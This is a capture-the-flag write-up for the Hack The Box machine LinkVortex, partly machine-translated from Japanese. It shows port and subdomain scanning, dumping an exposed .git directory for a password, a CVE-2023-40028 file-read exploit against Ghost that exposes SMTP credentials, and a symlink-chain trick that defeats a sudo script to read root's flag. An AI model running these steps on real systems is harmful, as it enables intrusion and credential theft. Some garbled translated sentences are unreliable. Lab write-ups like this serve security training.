Hack The Box – LinkVortex Writeup

Hack The Box
app.hackthebox.com

User Flag

Perform a port scan.

$ nmap -Pn -sVC -T4 -A -p- 10.10.11.47 -oN nmap_result
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA)
|_  256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519)
80/tcp open  http    Apache httpd
|_http-title: Did not follow redirect to http://linkvortex.htb/
|_http-server-header: Apache

You now know the operational status of the port.

portserviceversion
22sshOpenSSH 8.9p1
80httpApache

Now that you know the domain, add it./etc/hosts

10.10.11.47     linkvortex.htb

80Access the number port.

image.png

It turns out that it was created with an open source tool called From Footer.ghost

image.png
https://qiita.com/embed-contents/link-card#qiita-embed-content__2de0ea4d41fb804a90fabb80324d4d8a
https://qiita.com/embed-contents/link-card#qiita-embed-content__dd8a221289ed41ba274f2da4f33fd08f

ディレクトリスキャンをします。

$ dirsearch -u http://linkvortex.htb/ -x 404

[07:34:11] 301 -  179B  - /assets  ->  /assets/
[07:34:34] 200 -   15KB - /favicon.ico
[07:34:47] 200 -    1KB - /LICENSE
[07:35:11] 200 -  103B  - /robots.txt
[07:35:18] 200 -  256B  - /sitemap.xml

/robots.txtにアクセスすると更なるパスを発見できました。

/robots.txt

User-agent: *
Sitemap: http://linkvortex.htb/sitemap.xml
Disallow: /ghost/
Disallow: /p/
Disallow: /email/
Disallow: /r/

/ghostWhen I accessed the site, a login form was displayed.

image.png

admin@linkvortex.htbWhen I tried to authenticate with , I was able to confirm the existence of this account from the error message.

image.png

Enumerate subdomains.

$ ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.linkvortex.htb" -u http://linkvortex.htb -fs 230

dev                     [Status: 200, Size: 2538, Words: 670, Lines: 116, Duration: 258ms]

dev.linkvortex.htbI found it in the postscript and access it./etc/hosts

image.png

devサブドメインのディレクトリスキャンをします。

$ dirsearch -u http://dev.linkvortex.htb -x 404

[09:30:23] 301 -  239B  - /.git  ->  http://dev.linkvortex.htb/.git/        
[09:30:23] 200 -  557B  - /.git/
[09:30:23] 200 -  201B  - /.git/config
[09:30:23] 200 -   73B  - /.git/description
[09:30:23] 200 -  620B  - /.git/hooks/
[09:30:23] 200 -   41B  - /.git/HEAD
[09:30:23] 200 -  402B  - /.git/info/

(省略)

/.git/が見つかったので配下をダウンロードします。

$ wget -r http://dev.linkvortex.htb/.git/

コミット履歴を複数確認できました。

$ git log --oneline
299cdb4 (HEAD, tag: v5.58.0) v5.58.0
dce2e68 Added Tips&Donations link to portal links (#17580)
3562560 Data generator: Ensure order of newsletters is correct

(省略)

git diffコマンドでステージング環境との差分を確認するとパスワードを発見できました。

$ git diff --staged

(省略)
 
         it('complete setup', async function () {
             const email = 'test@example.com';
-            const password = 'thisissupersafe';
+            const password = 'OctopiFociPilfer45';

得られたパスワードでログインに成功しました。

image.png

settingsからバージョンがだと分かりました。5.58.0

image.png

When searching for vulnerability information in the affected version, it was found.
It seems that arbitrary files can be read by exploiting this vulnerability.CVE-2023-40028

https://qiita.com/embed-contents/link-card#qiita-embed-content__4d0b5dba068352cd7084396c7c29bcb7

The following repositories were used for the PoC.

https://qiita.com/embed-contents/link-card#qiita-embed-content__5bc981af1256b572c7a2ebd68156d428

/etc/passwdThe file was successfully loaded.

$ ./CVE-2023-40028.sh -u "admin@linkvortex.htb" -p "OctopiFociPilfer45"
file> /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash

If you check the hostname, you can expect to be in a Docker container.

file> /etc/hostname
7facf5f862ae

I would like to view the configuration file, but I don’t know the current directory structure.
Let’s actually build the container locally to understand the directory structure in the container.

Download the official image from Docker Hub.

https://qiita.com/embed-contents/link-card#qiita-embed-content__2d9aff0f5e4b1ef783adc9d32c4fec40

Follow the official announcement to run the command and build.

$ sudo docker pull ghost

$ sudo docker run -d --name some-ghost -e NODE_ENV=development ghost

When you enter the container, you can see that you are in./var/lib/ghost

$ sudo docker exec -it some-ghost /bin/bash
root@85551094b4c0:/var/lib/ghost#

I checked the directory and found it.
You can also get information on the actual target machine by referring to it.config.production.json/var/lib/ghost/config.production.json

# ls -la
total 40
drwxr-xr-x  1 node node 4096 Dec 10 01:30 .
drwxr-xr-x  1 root root 4096 Dec 10 01:29 ..
-rw-r--r--  1 node node   84 Dec 10 01:30 .ghost-cli
lrwxrwxrwx  1 node node   22 Dec 10 01:30 config.development.json -> config.production.json
-rw-r--r--  1 node node  295 Dec 10 01:30 config.production.json
drwxrwxrwt 11 node node 4096 Dec 10 17:26 content
drwxr-xr-x 11 node node 4096 Dec 10 01:29 content.orig
lrwxrwxrwx  1 node node   31 Dec 10 01:30 current -> /var/lib/ghost/versions/5.104.1
drwxr-xr-x  1 node node 4096 Dec 10 01:29 versions

When I actually checked it on the target machine, I was able to get the SMTP credentials.config.production.json

file> /var/lib/ghost/config.production.json
{
  "url": "http://localhost:2368",
  "server": {
    "port": 2368,
    "host": "::"
  },
  "mail": {
    "transport": "Direct"
  },
  "logging": {
    "transports": ["stdout"]
  },
  "process": "systemd",
  "paths": {
    "contentPath": "/var/lib/ghost/content"
  },
  "spam": {
    "user_login": {
        "minWait": 1,
        "maxWait": 604800000,
        "freeRetries": 5000
    }
  },
  "mail": {
     "transport": "SMTP",
     "options": {
      "service": "Google",
      "host": "linkvortex.htb",
      "port": 587,
      "auth": {
        "user": "bob@linkvortex.htb",
        "pass": "fibber-talented-worth"
        }
      }
    }
}

The SSH connection was successful with the obtained credentials.

$ ssh bob@linkvortex.htb
bob@linkvortex:~$

/home/bob/user.txtI was able to get the user flag from.

$ cat user.txt 
f45a09ebd41243969ef945b549ec7a5f

Root Flag

sudo -lIf you check it, it seems that you can do it./opt/ghost/clean_symlink.sh

$ sudo -l
Matching Defaults entries for bob on linkvortex:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty, env_keep+=CHECK_CONTENT

User bob may run the following commands on linkvortex:
    (ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png

/opt/ghost/clean_symlink.shConfirm the processing of the .

/opt/ghost/clean_symlink.sh

#!/bin/bash

QUAR_DIR="/var/quarantined"

if [ -z $CHECK_CONTENT ];then
  CHECK_CONTENT=false
fi

LINK=$1

if ! [[ "$LINK" =~ \.png$ ]]; then
  /usr/bin/echo "! First argument must be a png file !"
  exit 2
fi

if /usr/bin/sudo /usr/bin/test -L $LINK;then
  LINK_NAME=$(/usr/bin/basename $LINK)
  LINK_TARGET=$(/usr/bin/readlink $LINK)
  if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
    /usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
    /usr/bin/unlink $LINK
  else
    /usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
    /usr/bin/mv $LINK $QUAR_DIR/
    if $CHECK_CONTENT;then
      /usr/bin/echo "Content:"
      /usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
    fi
  fi
fi

CHECK_CONTENTIf the environment variable is not set, set it to false.

if [ -z $CHECK_CONTENT ];then
  CHECK_CONTENT=false
fi

It accepts the arguments of the script and checks to see if the file ends with ..png

LINK=$1

if ! [[ "$LINK" =~ \.png$ ]]; then
  /usr/bin/echo "! First argument must be a png file !"
  exit 2
fi

If the PNG file in the argument is a link, get the file name and check if the link destination contains .etcroot

If so, delete the link.

If it is not included, move the file to , and if is true, display the linked file with the cat command./var/quarantinedCHECK_CONTENT

if /usr/bin/sudo /usr/bin/test -L $LINK;then
  LINK_NAME=$(/usr/bin/basename $LINK)
  LINK_TARGET=$(/usr/bin/readlink $LINK)
  if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
    /usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
    /usr/bin/unlink $LINK
  else
    /usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
    /usr/bin/mv $LINK $QUAR_DIR/
    if $CHECK_CONTENT;then
      /usr/bin/echo "Content:"
      /usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
    fi
  fi
fi

It seems that it can be read with the last cat command.
First, satisfy the conditional branch when is true./root/root.txtCHECK_CONTENT

$ CHECK_CONTENT=true
$ export CHECK_CONTENT
$ printenv | grep CHECK_CONTENT
CHECK_CONTENT=true

Next, create a symbolic link.
In this case, we will use to avoid the string check.シンボリックリンクチェーンetcroot

https://qiita.com/embed-contents/link-card#qiita-embed-content__dec550a17d2eb56707c92b2773dcbaab

/root/root.txtCreate a link to the
And create a link to .a.pnga.pngb.png/var/quarantined

$ ln -s /root/root.txt a.png
$ ln -s /var/quarantined/a.png b.png
$ ls -la
total 8
drwxr-xr-x  2 bob  bob  4096 Dec 10 19:17 .
drwxr-xr-x 14 root root 4096 Nov 29 15:58 ..
lrwxrwxrwx  1 bob  bob    14 Dec 10 19:17 a.png -> /root/root.txt
lrwxrwxrwx  1 bob  bob    22 Dec 10 19:17 b.png -> /var/quarantined/a.png

/opt/ghost/clean_symlink.shI was able to get the flag by executing it with the argument of.b.png/root/root.txt

$ sudo /usr/bin/bash /opt/ghost/clean_symlink.sh /var/quarantined/b.png 
Link found [ /var/quarantined/b.png ] , moving it to quarantine
/usr/bin/mv: '/var/quarantined/b.png' and '/var/quarantined/b.png' are the same file
Content:
6a8d12b830755445dc3634720f45860c

Leave a Reply

Your email address will not be published. Required fields are marked *